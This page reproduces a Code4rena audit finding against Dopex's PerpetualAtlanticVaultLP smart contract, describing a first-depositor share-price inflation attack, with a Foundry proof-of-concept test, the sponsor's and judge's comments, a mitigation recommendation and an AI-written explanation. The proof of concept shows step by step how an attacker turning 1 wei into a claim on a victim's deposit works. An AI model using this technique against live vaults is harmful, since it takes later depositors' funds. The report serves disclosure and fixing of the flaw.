Skip to content
Smart contracts Audit finding Intermediate

A malicious early depositor can manipulate the LP-Token price per share to take an unfair share of future user deposits

The first depositor can manipulate the LP token price per share by making a small deposit and then waiting for the vault to receive a large amount of RDPX tokens, causing later depositors to receive fewer shares and lose part of their funds. The attacker can then redeem their shares for more assets than they deposited.

0xWagmi Follow with Matin, vangrim and 14 others

Originally disclosed on Code4rena

Submitted by 0xWagmi, also found by Matin, vangrim, catellatech, MohammedRizwan, Hama, 836541, okolicodes, Inspecktor, erebus, GangsOfBrahmin, Bauchibred, lsaudit, ravikiranweb3, zaevlad, tapir, niki, and IceBear

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L283

A malicious early depositor can profit from future depositors’ deposits. While the late depositors will lose part of their funds to the attacker.

Vulnerability Details

The first depositor can buy a small number of shares and next he should wait until owner settle an options through RdpxCore so it will result in calling addRDPX in PerpetualAtlanticVaultLP by transfering rdpxTokens into it and updating _rdpxCollateral, as rdpx Token has 18 decimals https://arbiscan.io/token/0x32eb7902d4134bf98a28b963d26de779af92a212 even small amount of rdpx token result in giving a higher totalVaultCollateral() so then it calculates assets.mulDivDown(supply,totalVaultCollateral); , then it will make shares very expensive for the next depositors,

POC

copy this test into /tests/perp-vault/Integration.t.sol forge test --match-path ./tests/perp-vault/Integration.t.sol -vvvv

 function test_second_user_loss_share() external {
  //=============================
  address  hecer  = makeAddr("Hecer");
  address  investor = makeAddr("investor");
  //=============================

 setApprovals(hecer);
 setApprovals(investor);

    mintWeth(1 wei, hecer); // hecker starts with 1 wei 🐱‍👤
    mintWeth(20 ether, investor);

 console.log("WETH Balance Of attacker before " , weth.balanceOf(hecer));
   console.log("RDPX Balance Of attacker before " ,rdpx.balanceOf(hecer));
    deposit(1 wei, hecer);

    //===============================================================================================================
    /* This step isn't possible like this owner should call  `settle` in RdpxV2Core , but for the simplicity lets say
        10 rdpx tokens transfered into vaultLP   after hecer deposit 1 wei of weth and get 1 share
    */
    deal(address(rdpx),address(vaultLp),10 ether);  // 10 tokens because rpdx 18 decimals // 0x32eb7902d4134bf98a28b963d26de779af92a212
    vm.prank(address(vault));
    vaultLp.addRdpx(10 ether);
//===============================================================================================================
//   Then the investor deposits  20 ether
    deposit(20 ether, investor);

    uint256 userBalance = vaultLp.balanceOf(hecer);
    uint256 userBalance2 = vaultLp.balanceOf(investor);
    console.log("Lp-balance Of attacker : %s share " , userBalance);
    console.log("Lp-balance Of investor : %s share " , userBalance2);
          // (uint asset , uint rdpxA)= vaultLp.redeemPreview(uint256(1));
    vm.prank(hecer);
    vaultLp.redeem(uint256(1),hecer,hecer);

   console.log("WETH Balance Of attacker after" , weth.balanceOf(hecer));  //Starting with 1wei attacker🐱‍👤 endUp with 2 wrapped ether ;
   console.log("RDPX Balance Of attacker after" ,rdpx.balanceOf(hecer));
  }

Tools used

Foundry

Recommendation

Consider requiring a minimal amount of share tokens to be minted for the first minter

witherblock (Dopex) acknowledged and commented:

We have planned to be the first depositors for this vault to prevent this issue.

Alex the Entreprenerd (Judge) commented:

Given the fact that:

  • Rebase is possible (good old ERC4626 attack)
  • Impact is existant
  • Deployment is Permissioned

Medium severity seems appropriate.


The original report as published on Code4rena, by 0xWagmi. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the vault calculates shares based on the ratio of total assets to total supply, and an early depositor can inflate the asset side by donating tokens, making subsequent shares more expensive.

Impact

The attacker could steal a portion of later depositors' funds, but the exploit requires the vault to receive a large donation of RDPX tokens, which may only happen through specific owner actions.

What the attacker needed

Attacker is first depositor; vault receives large RDPX donation; victim deposits after donation

The fix

The project planned to be the first depositor to prevent the issue, but a more general fix would be to require a minimum initial deposit or use a virtual offset.

How it was found

  1. Attacker deposits a very small amount (1 wei) to get 1 share.
  2. Attacker waits for the vault to receive a large amount of RDPX tokens (e.g., via a settle operation), which increases total assets.
  3. A victim deposits a large amount (20 ether), but receives very few shares due to the inflated share price.
  4. Attacker redeems their 1 share and receives a disproportionate amount of assets, profiting at the victim's expense.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you put money into a shared vault, you get shares representing your portion. If the first person to join can make each share very expensive before others join, later depositors get fewer shares for their money, and the first person can take more than they put in. This is called a share price manipulation attack.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More from Dopex

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.